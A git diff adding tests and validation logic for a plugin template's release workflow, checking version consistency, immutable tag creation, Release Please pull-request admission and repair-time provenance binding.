"..") const ignoredEntries = new Set([".dev", ".git", ".worktrees", "dist", "node_modules"]) @@ -25,17 +33,111 @@ function validate(cwd: string): ReturnType { }) } +function validateWithArguments(cwd: string, arguments_: string[]): ReturnType { + const { + PUBLICATION_CANDIDATE_PATH: _candidatePath, + REPAIR_TAG: _repairTag, + CHECKOUT_SHA: _checkoutSha, + TAG_SHA: _tagSha, + RELEASE_TARGET_SHA: _releaseTargetSha, + TRUSTED_REPAIR_CANDIDATE_PATH: _trustedCandidatePath, + BASE_BRANCH: _baseBranch, + EXPECTED_RELEASE_PLEASE_LOGIN: _automationLogin, + ...environment + } = process.env + return Bun.spawnSync({ + cmd: [process.execPath, "run", "scripts/release-validate.ts", ...arguments_], + cwd, + env: environment, + stdout: "pipe", + stderr: "pipe", + }) +} + +const allowedProjection = [ + ".claude-plugin/marketplace.json", + ".github/.release-please-manifest.json", + "CHANGELOG.md", + "package.json", + "plugin.config.json", + "plugin/.claude-plugin/plugin.json", + "plugin/.codex-plugin/plugin.json", + "plugin/hooks/codex/hooks.json", + "plugin/runtime/hello-world.js", +] + +function releasePullRequest(overrides: Record = {}) { + return { + number: 42, + baseBranch: "main", + automationIdentity: "github-actions[bot]", + mergeCommit: "a".repeat(40), + mergeMode: "merge" as const, + changedFiles: allowedProjection, + changedFileStatuses: allowedProjection.map(() => "modified"), + projectionDigest: "b".repeat(64), + ...overrides, + } +} + +function admissionInput(candidates = [releasePullRequest()]) { + return { + repository: "myagentdojo/agent-plugin-template", + expectedBaseBranch: "main", + expectedAutomationIdentities: ["github-actions[bot]"], + githubSha: "a".repeat(40), + manifestVersion: "0.1.0", + tagExists: false, + candidates, + } +} + +function writeReleasedMetadata(repositoryRoot: string, changelog: (version: string) => string): string { + const pluginConfig = JSON.parse(readFileSync(join(repositoryRoot, "plugin.config.json"), "utf8")) + writeFileSync( + join(repositoryRoot, ".github", ".release-please-manifest.json"), + `${JSON.stringify({ ".": pluginConfig.version }, null, 2)}\n`, + ) + writeFileSync(join(repositoryRoot, "CHANGELOG.md"), changelog(pluginConfig.version)) + return pluginConfig.version +} + test("release metadata has one synchronized semantic version", () => { const result = validate(root) expect(result.exitCode, result.stderr.toString()).toBe(0) expect(JSON.parse(result.stdout.toString())).toMatchObject({ ok: true, version: expect.any(String), + releaseState: "bootstrap", changelog: "CHANGELOG.md", npmPublicationRequired: false, }) }) +test("release validation accepts a synchronized post-bootstrap manifest", () => { + const temporaryRoot = copyRepository() + const version = writeReleasedMetadata( + temporaryRoot, + (value) => `# Changelog\n\n## ${value}\n\nInitial release.\n`, + ) + + const result = validate(temporaryRoot) + expect(result.exitCode, result.stderr.toString()).toBe(0) + expect(JSON.parse(result.stdout.toString())).toMatchObject({ + releaseState: "released", + version, + }) +}) + +test("released metadata rejects a non-canonical changelog header", () => { + const temporaryRoot = copyRepository() + writeReleasedMetadata(temporaryRoot, (version) => `## ${version}\n\nInitial release.\n`) + + const result = validate(temporaryRoot) + expect(result.exitCode).toBe(1) + expect(result.stderr.toString()).toContain("canonical Changelog heading") +}) + test("release validation rejects a drifted version surface", () => { const temporaryRoot = copyRepository() const packagePath = join(temporaryRoot, "package.json") @@ -49,16 +151,614 @@ test("release validation rejects a drifted version surface", () => { expect(result.stderr.toString()).toContain("plugin.config.json") }) +test("release validation rejects unexpected release-please extra-files", () => { + const temporaryRoot = copyRepository() + const configPath = join(temporaryRoot, ".github", "release-please-config.json") + const config = JSON.parse(readFileSync(configPath, "utf8")) + config.packages["."]["extra-files"].push({ + type: "json", + path: "package.json", + jsonpath: "$.version", + }) + writeFileSync(configPath, `${JSON.stringify(config, null, 2)}\n`) + + const result = validate(temporaryRoot) + expect(result.exitCode).toBe(1) + expect(result.stderr.toString()).toContain( + "release-please extra-files is unexpected: package.json::$.version", + ) +}) + +test("release validation rejects an empty manifest after v0.1.0", () => { + const temporaryRoot = copyRepository() + for (const path of [ + "package.json", + "plugin.config.json", + "plugin/.claude-plugin/plugin.json", + "plugin/.codex-plugin/plugin.json", + ]) { + const absolutePath = join(temporaryRoot, path) + const json = JSON.parse(readFileSync(absolutePath, "utf8")) + json.version = "0.2.0" + writeFileSync(absolutePath, `${JSON.stringify(json, null, 2)}\n`) + } + const marketplacePath = join(temporaryRoot, ".claude-plugin", "marketplace.json") + const marketplace = JSON.parse(readFileSync(marketplacePath, "utf8")) + marketplace.metadata.version = "0.2.0" + writeFileSync(marketplacePath, `${JSON.stringify(marketplace, null, 2)}\n`) + const runtimePath = join(temporaryRoot, "plugin", "runtime", "hello-world.js") + writeFileSync( + runtimePath, + readFileSync(runtimePath, "utf8").replace('const PLUGIN_VERSION = "0.1.0";', 'const PLUGIN_VERSION = "0.2.0";'), + ) + const hooksPath = join(temporaryRoot, "plugin", "hooks", "codex", "hooks.json") + writeFileSync( + hooksPath, + readFileSync(hooksPath, "utf8").replaceAll("--plugin-version 0.1.0", "--plugin-version 0.2.0"), + ) + + const result = validate(temporaryRoot) + expect(result.exitCode).toBe(1) + expect(result.stderr.toString()).toContain("empty release-please manifest") +}) + +test("release validation rejects unexpected manifest packages", () => { + const temporaryRoot = copyRepository() + writeFileSync( + join(temporaryRoot, ".github", ".release-please-manifest.json"), + `${JSON.stringify({ unexpected: "0.1.0" }, null, 2)}\n`, + ) + + const result = validate(temporaryRoot) + expect(result.exitCode).toBe(1) + expect(result.stderr.toString()).toContain("bootstrap release-please manifest must be empty") +}) + +test("release validation rejects a pre-seeded bootstrap changelog heading", () => { + const temporaryRoot = copyRepository() + writeFileSync(join(temporaryRoot, "CHANGELOG.md"), "# Changelog\n") + + const result = validate(temporaryRoot) + expect(result.exitCode).toBe(1) + expect(result.stderr.toString()).toContain("bootstrap CHANGELOG.md must be empty") +}) + +test("release validation rejects a duplicate changelog heading", () => { + const temporaryRoot = copyRepository() + writeReleasedMetadata( + temporaryRoot, + () => + "# Changelog\n\n## 0.1.0\n\nInitial release.\n\n## Changelog\n", + ) + + const result = validate(temporaryRoot) + expect(result.exitCode).toBe(1) + expect(result.stderr.toString()).toContain("duplicate Changelog heading") +}) + test("release workflow is pinned and publishes proven assets after validation", () => { const workflow = readFileSync(join(root, ".github", "workflows", "release.yml"), "utf8") + const finalReleaseJob = workflow.slice(workflow.indexOf(" release:\n")) + const compareStepStart = finalReleaseJob.indexOf(" - name: Compare release assets before mutation\n") + const uploadStepStart = finalReleaseJob.indexOf(" - name: Add or replace admitted release assets\n") + const attestationStepStart = finalReleaseJob.indexOf(" - name: Check for existing matching public attestation\n") + const compareStep = finalReleaseJob.slice(compareStepStart, uploadStepStart) + const uploadStep = finalReleaseJob.slice(uploadStepStart, attestationStepStart) + const repairValidationStep = workflow.slice( + workflow.indexOf(" - name: Resolve unique candidate or immutable repair tag\n"), + workflow.indexOf("\n\n associated_prs="), + ) + const persistedCandidateStep = finalReleaseJob.slice( + finalReleaseJob.indexOf(" - name: Download persisted publication candidate\n"), + finalReleaseJob.indexOf(" - name: Create or verify immutable tag\n"), + ) const actionReferences = [...workflow.matchAll(/uses: [^@\s]+@([^\s]+)/g)].map( (match) => match[1], ) expect(actionReferences.length).toBeGreaterThan(0) expect(actionReferences.every((reference) => /^[a-f0-9]{40}$/.test(reference))).toBe(true) + expect(workflow).toContain("skip-github-release") + expect(workflow).toContain("publication-candidate-${GITHUB_SHA}") + expect(workflow).toContain("operation:") + expect(workflow).toContain("PUBLICATION_CANDIDATE_PATH") + expect(workflow).toContain("publication-candidate-${CANDIDATE_SHA}") + expect(workflow).toContain("tag -a \"$RELEASE_TAG\" \"$CANDIDATE_SHA\" -F persisted-candidate.json") + expect(workflow).toContain("git for-each-ref --format='%(contents)'") + expect(workflow).toContain('git cat-file -t "refs/tags/${REPAIR_TAG}"') + expect(workflow).toContain("merge_commit_sha") + expect(workflow).toContain("EXPECTED_RELEASE_PLEASE_LOGIN") + expect(workflow).toContain("scripts/release-projection.ts") + expect(workflow).not.toContain("ALLOWED_RELEASE_PATHS") + expect(workflow).not.toContain("missing_paths") + expect(workflow).toContain("parent_count") + expect(workflow).not.toContain("compare_json_except_version") + expect(workflow).toContain('expectedTagState:"absent"') expect(workflow).toContain("bun run prove:all") - expect(workflow).toContain("inputs.release_tag || github.sha") + expect(workflow).toContain("@anthropic-ai/claude-code@2.1.222") + expect(workflow).toContain("@openai/codex@0.146.1") + expect(workflow).toContain("SOURCE_COMMIT") + expect(workflow).toContain("canonicalGitHubRepositoryIdentity") + expect(workflow).toContain("ref: ${{ needs.resolve.outputs.candidate_sha }}") + expect(workflow).toContain("tag -a \"$RELEASE_TAG\" \"$CANDIDATE_SHA\" -F persisted-candidate.json") + expect(workflow).toContain("git push origin \"refs/tags/${RELEASE_TAG}\"") + expect(workflow).toContain("remote_tag_sha") + expect(workflow).toContain("gh release create") + expect(workflow).toContain("--verify-tag") expect(workflow).toContain("gh release upload") + expect(workflow).toContain("*.checksums.json") + expect(workflow).toContain("replace_mismatched_assets") + expect(workflow).toContain("gh release download") + expect(workflow).toContain("sha256sum") + expect(workflow).not.toMatch(/^concurrency:/m) + expect(workflow).toContain("group: release-maintenance") + expect(workflow).toContain("group: release-publication-${{ needs.resolve.outputs.release_tag }}") + expect(workflow.match(/release-candidate-\$\{\{ github\.run_id \}\}/g)).toHaveLength(2) + expect(workflow).toContain("overwrite: true") + expect(workflow).not.toContain("github.run_attempt") + expect(workflow).toContain("bun run release:validate -- --repair") + const maintainJob = workflow.slice( + workflow.indexOf("\n maintain:\n"), + workflow.indexOf("\n compatibility:\n"), + ) + expect(maintainJob).toContain("persist-credentials: false") + expect(maintainJob).toContain("group: release-maintenance") + expect(maintainJob).toContain("id: bootstrap-version") + expect(maintainJob).toContain("jq 'length' .github/.release-please-manifest.json") + expect(maintainJob).toContain('release_as="0.1.0"') + expect(maintainJob).toContain("token: ${{ secrets.RELEASE_PLEASE_TOKEN }}") + expect(maintainJob).not.toContain("secrets.GITHUB_TOKEN") + expect(maintainJob).toContain("release-as: ${{ steps.bootstrap-version.outputs.release_as }}") + expect(finalReleaseJob).toContain("publication-candidate-${CANDIDATE_SHA}") + expect(finalReleaseJob).toContain('if [[ "$MODE" == "repair" ]]') + expect(finalReleaseJob).toContain("Immutable release tag carries a different publication admission") + expect(repairValidationStep).toContain("git for-each-ref --format='%(contents)'") + expect(repairValidationStep).toContain('gh api "repos/${GITHUB_REPOSITORY}/pulls/${pr_number}"') + expect(repairValidationStep).toContain("trusted-repair-candidate.json") + expect(repairValidationStep).toContain("validateRepairCandidateBinding") + expect(repairValidationStep).not.toContain("actions/artifacts") + expect(persistedCandidateStep).toContain('if [[ "$MODE" == "repair" ]]') + expect(persistedCandidateStep).toContain("git for-each-ref --format='%(contents)'") + expect(finalReleaseJob).toContain(" needs:\n - resolve\n - package\n") + expect(finalReleaseJob).toContain( + "group: release-publication-${{ needs.resolve.outputs.release_tag }}", + ) + expect(finalReleaseJob).toContain(" permissions:\n actions: read\n") + expect(finalReleaseJob).toContain("PUBLICATION_CANDIDATE_PATH=persisted-candidate.json") + expect(finalReleaseJob).toContain('--repository "$GITHUB_REPOSITORY"') + expect(compareStepStart).toBeGreaterThan(-1) + expect(uploadStepStart).toBeGreaterThan(compareStepStart) + expect(attestationStepStart).toBeGreaterThan(uploadStepStart) + expect(compareStep).toContain("asset-actions.tsv") + expect(compareStep).toContain("expected-assets.txt") + expect(compareStep).toContain("comm -13 expected-assets.txt remote-assets.txt") + expect(compareStep).not.toContain("gh release upload") + expect(uploadStep).toContain("gh release upload") + expect(uploadStep).not.toContain("gh release download") + expect(workflow).toContain("environment: release") + expect(workflow).toContain("gh attestation verify") expect(workflow).toContain("actions/attest") + expect(workflow).not.toContain("ref: ${{ inputs.release_tag || github.sha }}") + expect(workflow).not.toContain("*.provenance.json") + expect(workflow).not.toContain("endswith($repository)") +}) + +test("immutable tag creation is retry-safe and rejects a rebound candidate", () => { + const workflowSource = readFileSync(join(root, ".github", "workflows", "release.yml"), "utf8") + const workflow = Bun.YAML.parse(workflowSource) as { + jobs: { release: { steps: Array<{ name?: string; run?: string }> } } + } + const tagScript = workflow.jobs.release.steps.find( + (step) => step.name === "Create or verify immutable tag", + )?.run + expect(tagScript).toBeString() + + const temporaryRoot = mkdtempSync(join(tmpdir(), "release-tag-retry-")) + const origin = join(temporaryRoot, "origin.git") + const checkout = join(temporaryRoot, "checkout") + const git = (arguments_: string[], cwd = temporaryRoot) => + Bun.spawnSync({ cmd: ["git", ...arguments_], cwd, stdout: "pipe", stderr: "pipe" }) + expect(git(["init", "--bare", origin]).exitCode).toBe(0) + expect(git(["init", checkout]).exitCode).toBe(0) + writeFileSync(join(checkout, "payload"), "one\n") + expect(git(["add", "payload"], checkout).exitCode).toBe(0) + expect( + git( + ["-c", "user.name=Release Test", "-c", "user.email=release@example.invalid", "commit", "-m", "one"], + checkout, + ).exitCode, + ).toBe(0) + expect(git(["remote", "add", "origin", origin], checkout).exitCode).toBe(0) + const candidateSha = git(["rev-parse", "HEAD"], checkout).stdout.toString().trim() + writeFileSync( + join(checkout, "persisted-candidate.json"), + `${JSON.stringify(admitPublicationCandidate(admissionInput()))}\n`, + ) + const execute = (sha: string) => + Bun.spawnSync({ + cmd: ["bash", "-euo", "pipefail", "-c", tagScript as string], + cwd: checkout, + env: { ...process.env, MODE: "publish", CANDIDATE_SHA: sha, RELEASE_TAG: "v0.1.0" }, + stdout: "pipe", + stderr: "pipe", + }) + + const first = execute(candidateSha) + expect(first.exitCode, first.stderr.toString()).toBe(0) + const retry = execute(candidateSha) + expect(retry.exitCode, retry.stderr.toString()).toBe(0) + const taggedAdmission = git( + ["for-each-ref", "--format=%(contents)", "refs/tags/v0.1.0"], + checkout, + ).stdout.toString() + expect(JSON.parse(taggedAdmission)).toMatchObject({ tag: "v0.1.0" }) + writeFileSync(join(checkout, "payload"), "two\n") + expect(git(["add", "payload"], checkout).exitCode).toBe(0) + expect( + git( + ["-c", "user.name=Release Test", "-c", "user.email=release@example.invalid", "commit", "-m", "two"], + checkout, + ).exitCode, + ).toBe(0) + const reboundSha = git(["rev-parse", "HEAD"], checkout).stdout.toString().trim() + const rebound = execute(reboundSha) + expect(rebound.exitCode).toBe(1) + expect(rebound.stderr.toString()).toContain("Immutable remote tag") +}) + +test("publication candidate admission binds one merged Release Please PR to github.sha", () => { + const candidate = admitPublicationCandidate(admissionInput()) + expect(candidate).toMatchObject({ + repository: "myagentdojo/agent-plugin-template", + baseBranch: "main", + pullRequest: 42, + automationIdentity: "github-actions[bot]", + mergeCommit: "a".repeat(40), + version: "0.1.0", + tag: "v0.1.0", + expectedTagState: "absent", + projectionDigest: "b".repeat(64), + }) +}) + +test("publication candidate admission rejects zero matching PRs", () => { + expect(() => admitPublicationCandidate(admissionInput([]))).toThrow("exactly one merged Release Please PR") +}) + +test("publication candidate admission rejects multiple matching PRs", () => { + expect(() => + admitPublicationCandidate(admissionInput([releasePullRequest(), releasePullRequest({ number: 43 })])), + ).toThrow("exactly one merged Release Please PR") +}) + +test("publication candidate admission rejects the wrong base branch", () => { + expect(() => + admitPublicationCandidate(admissionInput([releasePullRequest({ baseBranch: "next" })])), + ).toThrow("base branch") +}) + +test("publication candidate admission rejects the wrong automation identity", () => { + expect(() => + admitPublicationCandidate(admissionInput([releasePullRequest({ automationIdentity: "octocat" })])), + ).toThrow("automation identity") +}) + +test("AE2: publication candidate admission rejects a merge commit unequal to github.sha", () => { + expect(() => + admitPublicationCandidate(admissionInput([releasePullRequest({ mergeCommit: "c".repeat(40) })])), + ).toThrow("github.sha") +}) + +test("publication candidate admission rejects unsupported merge modes", () => { + expect(() => + admitPublicationCandidate(admissionInput([releasePullRequest({ mergeMode: "squash" })])), + ).toThrow("merge mode") +}) + +test("publication candidate admission rejects an existing version tag", () => { + expect(() => + admitPublicationCandidate({ ...admissionInput(), tagExists: true }), + ).toThrow("must be absent before proof") +}) + +test("publication candidate admission rejects paths outside the release projection", () => { + expect(() => + admitPublicationCandidate( + admissionInput([releasePullRequest({ changedFiles: [...allowedProjection, "README.md"] })]), + ), + ).toThrow("allowed release projection") +}) + +test("publication candidate admission accepts the bootstrap manifest and changelog subset", () => { + const changedFiles = [".github/.release-please-manifest.json", "CHANGELOG.md"] + expect( + admitPublicationCandidate( + admissionInput([ + releasePullRequest({ + changedFiles, + changedFileStatuses: changedFiles.map(() => "modified"), + }), + ]), + ), + ).toMatchObject({ version: "0.1.0", tag: "v0.1.0" }) +}) + +test("publication candidate admission rejects an unsupported file status", () => { + expect(() => + admitPublicationCandidate( + admissionInput([ + releasePullRequest({ + changedFileStatuses: allowedProjection.map((_, index) => + index === 0 ? "added" : "modified", + ), + }), + ]), + ), + ).toThrow("unsupported file status") +}) + +test("publication candidate admission rejects a rebound candidate record", () => { + const priorRecord = admitPublicationCandidate(admissionInput()) + expect(() => + admitPublicationCandidate({ + ...admissionInput([ + releasePullRequest({ automationIdentity: "release-please[bot]" }), + ]), + expectedAutomationIdentities: ["github-actions[bot]", "release-please[bot]"], + priorRecord, + }), + ).toThrow("candidate record is rebound") +}) + +test("publication candidate admission permits idempotent reuse of the identical record", () => { + const priorRecord = admitPublicationCandidate(admissionInput()) + expect(admitPublicationCandidate({ ...admissionInput(), priorRecord })).toEqual(priorRecord) +}) + +test("publication candidate admission ignores persisted JSON key order", () => { + const candidate = admitPublicationCandidate(admissionInput()) + const persisted = { + version: candidate.version, + tag: candidate.tag, + repository: candidate.repository, + projectionDigest: candidate.projectionDigest, + pullRequest: candidate.pullRequest, + mergeCommit: candidate.mergeCommit, + expectedTagState: candidate.expectedTagState, + baseBranch: candidate.baseBranch, + automationIdentity: candidate.automationIdentity, + } + + expect(admitPublicationCandidate({ ...admissionInput(), priorRecord: persisted })).toEqual(candidate) +}) + +test.each([ + ["maintain", "\n maintain:\n"], + ["compatibility", "\n compatibility:\n"], + ["release", "\n release:\n"], +] as const)("release validation fails closed without the %s job boundary", (_job, marker) => { + const temporaryRoot = copyRepository() + const workflowPath = join(temporaryRoot, ".github", "workflows", "release.yml") + writeFileSync(workflowPath, readFileSync(workflowPath, "utf8").replace(marker, "\n renamed-job:\n")) + + const result = validate(temporaryRoot) + + expect(result.exitCode).toBe(1) + expect(result.stderr.toString()).toContain("job boundary") +}) + +test("AE3: publication binding agrees on candidate, immutable tag, package, release, and manifest", () => { + const candidate = admitPublicationCandidate(admissionInput()) + expect( + validatePublicationBinding({ + candidate, + tag: "v0.1.0", + tagSha: "a".repeat(40), + manifestVersion: "0.1.0", + releaseTargetSha: "a".repeat(40), + checksums: { + repository: "https://github.com/myagentdojo/agent-plugin-template", + sourceCommit: "a".repeat(40), + tag: "v0.1.0", + version: "0.1.0", + }, + }), + ).toEqual(candidate) +}) + +test("publication binding rejects an artifact proven from SHA A under a tag for SHA B", () => { + const candidate = admitPublicationCandidate(admissionInput()) + expect(() => + validatePublicationBinding({ + candidate, + tag: "v0.1.0", + tagSha: "c".repeat(40), + manifestVersion: "0.1.0", + releaseTargetSha: "a".repeat(40), + checksums: { + repository: "https://github.com/myagentdojo/agent-plugin-template", + sourceCommit: "a".repeat(40), + tag: "v0.1.0", + version: "0.1.0", + }, + }), + ).toThrow("tag target") +}) + +test("publication binding rejects a lookalike repository on another host", () => { + const candidate = admitPublicationCandidate(admissionInput()) + expect(() => + validatePublicationBinding({ + candidate, + tag: "v0.1.0", + tagSha: "a".repeat(40), + manifestVersion: "0.1.0", + releaseTargetSha: "a".repeat(40), + checksums: { + repository: "https://evil.example/myagentdojo/agent-plugin-template", + sourceCommit: "a".repeat(40), + tag: "v0.1.0", + version: "0.1.0", + }, + }), + ).toThrow("GitHub repository") +}) + +test("manual repair requires the original publication candidate record", () => { + const candidate = admitPublicationCandidate(admissionInput()) + expect( + validateRepairCandidateBinding({ + candidate, + repository: "myagentdojo/agent-plugin-template", + expectedBaseBranch: "main", + expectedAutomationIdentities: ["github-actions[bot]"], + trustedCandidate: releasePullRequest(), + tag: "v0.1.0", + checkoutSha: "a".repeat(40), + tagSha: "a".repeat(40), + manifestVersion: "0.1.0", + releaseTargetSha: "a".repeat(40), + }), + ).toEqual({ tag: "v0.1.0", commit: "a".repeat(40), version: "0.1.0" }) + + expect(() => + validateRepairCandidateBinding({ + candidate, + repository: "myagentdojo/agent-plugin-template", + expectedBaseBranch: "main", + expectedAutomationIdentities: ["github-actions[bot]"], + trustedCandidate: releasePullRequest(), + tag: "v0.1.0", + checkoutSha: "c".repeat(40), + tagSha: "c".repeat(40), + manifestVersion: "0.1.0", + }), + ).toThrow("publication candidate") +}) + +test("manual repair rejects a forged tag record against GitHub-derived provenance", () => { + const forged = { + ...admitPublicationCandidate(admissionInput()), + projectionDigest: "c".repeat(64), + } + + expect(() => + validateRepairCandidateBinding({ + candidate: forged, + repository: "myagentdojo/agent-plugin-template", + expectedBaseBranch: "main", + expectedAutomationIdentities: ["github-actions[bot]"], + trustedCandidate: releasePullRequest(), + tag: "v0.1.0", + checkoutSha: "a".repeat(40), + tagSha: "a".repeat(40), + manifestVersion: "0.1.0", + }), + ).toThrow("rebound") +}) + +test("manual repair rejects malformed tag-carried candidate records", () => { + const candidate = { ...admitPublicationCandidate(admissionInput()), unexpected: true } + + expect(() => parsePublicationCandidateRecord(candidate)).toThrow("record shape") +}) + +test("manual repair rejects a missing tag", () => { + expect(() => + validateRepairBinding({ + tag: "", + checkoutSha: "a".repeat(40), + tagSha: "a".repeat(40), + manifestVersion: "0.1.0", + }), + ).toThrow("tag is required") +}) + +test("manual repair rejects a tag target unequal to checkout SHA", () => { + expect(() => + validateRepairBinding({ + tag: "v0.1.0", + checkoutSha: "a".repeat(40), + tagSha: "b".repeat(40), + manifestVersion: "0.1.0", + }), + ).toThrow("tag target") +}) + +test("AE4: manual repair rejects tag v0.2.0 with manifest 0.1.0 before mutation", () => { + expect(() => + validateRepairBinding({ + tag: "v0.2.0", + checkoutSha: "a".repeat(40), + tagSha: "a".repeat(40), + manifestVersion: "0.1.0", + }), + ).toThrow("manifest version") +}) + +test("manual repair rejects a Release targeting another SHA", () => { + expect(() => + validateRepairBinding({ + tag: "v0.1.0", + checkoutSha: "a".repeat(40), + tagSha: "a".repeat(40), + manifestVersion: "0.1.0", + releaseTargetSha: "b".repeat(40), + }), + ).toThrow("Release target") +}) + +test("manual repair CLI emits one bound JSON result", () => { + const temporaryRoot = copyRepository() + const sha = "a".repeat(40) + const candidatePath = join(temporaryRoot, "candidate.json") + const trustedCandidatePath = join(temporaryRoot, "trusted-candidate.json") + writeFileSync(candidatePath, `${JSON.stringify(admitPublicationCandidate(admissionInput()))}\n`) + writeFileSync(trustedCandidatePath, `${JSON.stringify(releasePullRequest())}\n`) + const result = validateWithArguments(temporaryRoot, [ + "--repair", + "--candidate", + candidatePath, + "--trusted-candidate", + trustedCandidatePath, + "--repository", + "myagentdojo/agent-plugin-template", + "--expected-base-branch", + "main", + "--expected-automation-login", + "github-actions[bot]", + "--tag", + "v0.1.0", + "--checkout-sha", + sha, + "--tag-sha", + sha, + "--release-target-sha", + sha, + "--json", + ]) + expect(result.exitCode, result.stderr.toString()).toBe(0) + expect(JSON.parse(result.stdout.toString())).toMatchObject({ + ok: true, + mode: "repair", + tag: "v0.1.0", + repair: { tag: "v0.1.0", commit: sha, version: "0.1.0" }, + }) +}) + +test("manual repair CLI fails closed without a persisted publication candidate", () => { + const sha = "a".repeat(40) + const result = validateWithArguments(root, [ + "--repair", + "--tag", + "v0.1.0", + "--checkout-sha", + sha, + "--tag-sha", + sha, + "--json", + ]) + + expect(result.exitCode).toBe(1) + expect(result.stderr.toString()).toContain("publication candidate record is required") }) diff --git a/scripts/release-validate.ts b/scripts/release-validate.ts index caf078c..a9900dd 100644 --- a/scripts/release-validate.ts +++ b/scripts/release-validate.ts @@ -1,134 +1,725 @@ import { readFileSync } from "node:fs" import { join, resolve } from "node:path" +import { RELEASE_PROJECTION_PATH_SET } from "./release-projection" + const root = resolve(import.meta.dir, "..") const help = `Validate release metadata and workflow invariants. Usage: bun run release:validate [--json] + bun run release:validate --repair --candidate candidate.json --trusted-candidate trusted-candidate.json --repository owner/repo --expected-base-branch main --expected-automation-login LOGIN --tag vX.Y.Z --checkout-sha SHA --tag-sha SHA [--release-target-sha SHA] [--json] bun run release:validate --help Options: - --json Emit one JSON result to stdout. - -h, --help Show this help. + --repair Validate an existing immutable tag before repair. + --candidate PATH Persisted publication-candidate record required for repair. + --trusted-candidate PATH GitHub-derived pull-request and projection facts for repair. + --repository OWNER/REPO Current GitHub repository identity. + --expected-base-branch REF Trusted release base branch policy. + --expected-automation-login LOGIN + Trusted Release Please automation identity. + --tag TAG Existing vX.Y.Z tag. Falls back to REPAIR_TAG. + --checkout-sha SHA Checked-out commit. Falls back to CHECKOUT_SHA. + --tag-sha SHA Resolved immutable tag commit. Falls back to TAG_SHA. + --release-target-sha SHA Existing GitHub Release target, when present. Falls back to RELEASE_TARGET_SHA. + --json Emit one JSON result to stdout. + -h, --help Show this help. Side effects: none. Reads repository files only. ` -const arguments_ = process.argv.slice(2) -if (arguments_.includes("--help") || arguments_.includes("-h")) { - process.stdout.write(help) - process.exit(0) -} - -const unknown = arguments_.filter((argument) => argument !== "--json") -if (unknown.length > 0) { - console.error(`release:validate: unknown option: ${unknown[0]}`) - console.error("Run `bun run release:validate -- --help` for usage.") - process.exit(2) -} - -function readJson(path: string): Record { - return JSON.parse(readFileSync(join(root, path), "utf8")) -} - -function fail(message: string): never { - console.error(`release:validate: ${message}`) - process.exit(1) -} - -const packageJson = readJson("package.json") -const pluginConfig = readJson("plugin.config.json") -const claudeMarketplace = readJson(".claude-plugin/marketplace.json") -const claudeManifest = readJson("plugin/.claude-plugin/plugin.json") -const codexManifest = readJson("plugin/.codex-plugin/plugin.json") -const releaseManifest = readJson(".github/.release-please-manifest.json") -const releaseConfig = readJson(".github/release-please-config.json") -const generatedRuntime = readFileSync(join(root, "plugin/runtime/hello-world.js"), "utf8") -const releaseWorkflow = readFileSync(join(root, ".github/workflows/release.yml"), "utf8") - -const version = pluginConfig.version -const versionSurfaces = [ - ["package.json", packageJson.version], - ["Claude marketplace metadata", claudeMarketplace.metadata?.version], - ["Claude manifest", claudeManifest.version], - ["Codex manifest", codexManifest.version], - ["release-please manifest", releaseManifest["."]], -] as const - -for (const [name, actual] of versionSurfaces) { - if (actual !== version) fail(`${name} version ${String(actual)} does not match plugin.config.json ${version}`) -} - -if (packageJson.private !== true || "publish" in (packageJson.scripts ?? {})) { - fail("package.json must remain private and must not define an npm publish script") -} - -const packageRelease = releaseConfig.packages?.["."] -if (packageRelease?.["release-type"] !== "node") fail("release type must be node") -if (releaseConfig["include-component-in-tag"] !== false) { - fail("release tags must use the single-plugin vX.Y.Z form") -} -if (packageRelease?.["changelog-path"] !== "CHANGELOG.md") { - fail("release-please must own CHANGELOG.md") -} - -const expectedExtraFiles = new Set([ - "plugin.config.json::$.version", - ".claude-plugin/marketplace.json::$.metadata.version", - "plugin/.claude-plugin/plugin.json::$.version", - "plugin/.codex-plugin/plugin.json::$.version", - "plugin/runtime/hello-world.js::generic", -]) -const configuredExtraFiles = new Set( - (packageRelease?.["extra-files"] ?? []).map((entry: Record) => - entry.type === "generic" - ? `${entry.path}::generic` - : `${entry.path}::${entry.jsonpath}`, - ), -) -for (const expected of expectedExtraFiles) { - if (!configuredExtraFiles.has(expected)) fail(`release-please extra-files is missing ${expected}`) -} - -for (const marker of [ - "x-release-please-start-version", - `const PLUGIN_VERSION = ${JSON.stringify(version)};`, - "x-release-please-end", -]) { - if (!generatedRuntime.includes(marker)) fail(`generated runtime is missing ${marker}`) -} - -const actionReferences = [...releaseWorkflow.matchAll(/uses: [^@\s]+@([^\s]+)/g)].map( - (match) => match[1], -) -if (actionReferences.length === 0 || actionReferences.some((reference) => !/^[a-f0-9]{40}$/.test(reference))) { - fail("release workflow actions must be pinned to full commit SHAs") -} -for (const required of [ - "bun run prove:all", - "git diff --exit-code -- plugin/runtime/hello-world.js", - "ubuntu-24.04-arm", - "macos-15-intel", - "needs: package", - "actions: read", - "release_tag:", - "inputs.release_tag || github.sha", - "gh release upload", - "actions/attest", - "github.event.repository.private == false", -]) { - if (!releaseWorkflow.includes(required)) fail(`release workflow is missing ${required}`) -} - -const result = { - ok: true, - version, - changelog: "CHANGELOG.md", - tag: `v${version}`, - npmPublicationRequired: false, - versionSurfaces: versionSurfaces.map(([name]) => name), -} -if (arguments_.includes("--json")) console.log(JSON.stringify(result)) -else console.log(`Release metadata valid for v${version}. No npm publication required.`) +/** Files a Release Please version projection may change before publication admission. */ +export const ALLOWED_RELEASE_PROJECTION = RELEASE_PROJECTION_PATH_SET + +/** Merged pull-request facts resolved from GitHub before any release proof. */ +export interface ReleasePullRequestCandidate { + /** Pull request number. */ + number: number + /** Pull request base branch. */ + baseBranch: string + /** GitHub login that authored the automation pull request. */ + automationIdentity: string + /** Merge commit recorded by GitHub. */ + mergeCommit: string + /** Merge mode inferred from the candidate commit shape. */ + mergeMode: "merge" | "squash" | "rebase" + /** Repository-relative paths changed by the pull request. */ + changedFiles: string[] + /** GitHub file status parallel to each changed path. */ + changedFileStatuses: string[] + /** SHA-256 over the canonical pull-request projection. */ + projectionDigest: string +} + +/** Immutable publication admission record persisted before proof. */ +export interface PublicationCandidateRecord { + /** GitHub owner/repository identity. */ + repository: string + /** Configured release base branch. */ + baseBranch: string + /** Unique admitted Release Please pull request. */ + pullRequest: number + /** Expected automation login that authored the pull request. */ + automationIdentity: string + /** Candidate commit used by proof, tag, package, and Release. */ + mergeCommit: string + /** Manifest version at the candidate commit. */ + version: string + /** Immutable tag expected to be absent before proof. */ + tag: string + /** Required pre-proof tag state. */ + expectedTagState: "absent" + /** Digest binding the admitted changed-file projection. */ + projectionDigest: string +} 